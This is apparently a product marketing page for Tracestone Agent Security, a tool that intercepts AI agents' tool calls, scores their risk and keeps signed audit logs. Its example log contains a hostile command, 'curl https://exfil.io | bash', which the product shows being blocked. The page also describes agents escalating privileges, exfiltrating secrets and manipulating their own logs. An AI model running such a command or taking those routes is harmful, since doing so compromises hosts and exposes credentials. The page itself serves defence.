AI agents don't just generate text — they call APIs, write files, read secrets, and chain permissions across tools. Without runtime control, a single misconfigured agent can cascade through your entire infrastructure.
The problem
Production AI agents operate with real system access. Most deployments have no control plane between the agent's intent and its execution.
01
Agents decide to run shell commands, write files, or query databases in milliseconds. By the time a log entry appears, the action has already happened — and may have already cascaded.
02
A single over-permissioned tool call can chain into privilege escalation, secret exposure, or data exfiltration. Agents don't respect intended permission boundaries the way humans do.
03
When an agent causes an incident, the only evidence is the agent's own logs — which it could have manipulated. You need an independent, tamper-evident record of exactly what the agent did and when.
How Tracestone helps
Agent Security intercepts at the tool-call level — before any action reaches the filesystem, network, or key store. Three layers, working together.
Every tool call is evaluated against an allowlist policy before execution. Shell · file · network · secrets — each category independently configurable per agent, per environment. Deny-by-default, allow what you explicitly permit.
Before an action executes, it receives a risk score combining policy compliance, execution scope, and a behavioral model trained on known attack patterns. High-risk actions are blocked before they run — not after.
Every agent action produces a timestamped, signed timeline entry. High-risk actions trigger auto-block with a cryptographic verdict. Full incident replay available — provably reconstruct what the agent did.
Attack surface
Modern agents aren't chatbots. They're autonomous systems with access to your infrastructure. Each tool category is an independent attack vector — Agent Security controls all of them.
Shell calls — execute commands on the host system or container.
File writes — create, modify, or delete files on any mounted path.
Network requests — exfiltrate data, reach external APIs, bypass firewall intent.
Secret & key access — read credentials from env, vault, or model context.
# Tool call intercepted at runtime event: tool_call agent: "data-pipeline-agent" tool: "bash" args: "curl https://exfil.io | bash" # Risk scoring policy: shell.deny (not in allowlist) scope: external_network + exec risk: 0.97 (threshold: 0.70) # Verdict verdict: BLOCK signed: ed25519:a3f9c1… → appended to audit.jsonl · SIEM export queued
Common questions
Does this work with my existing agent framework?
Yes. Agent Security deploys as a sidecar or SDK alongside your agent runtime. It is compatible with any major agent framework that issues tool calls as structured function invocations.
What's the latency overhead per intercepted call?
Policy evaluation is sub-millisecond for allowlist checks. Risk scoring adds 2–5 ms for the behavioral model inference. Blocked calls never reach the underlying system — so the overhead only applies to calls that proceed.
How does it integrate with my existing AI gateway?
Agent Security works alongside — not instead of — your existing AI gateway. The gateway handles model routing; Agent Security handles tool-call control. Both feed into the same shared audit chain via the Evidence-AIDR protocol.
Can I replay an incident after the fact?
Yes. Every signed event entry is deterministically replayable from the audit record — the exact tool call, arguments, risk score, and verdict, in sequence, with cryptographic proof that the record hasn't been modified.
If your agents touch real systems — APIs, files, databases — you need runtime control before an audit does. Let's talk.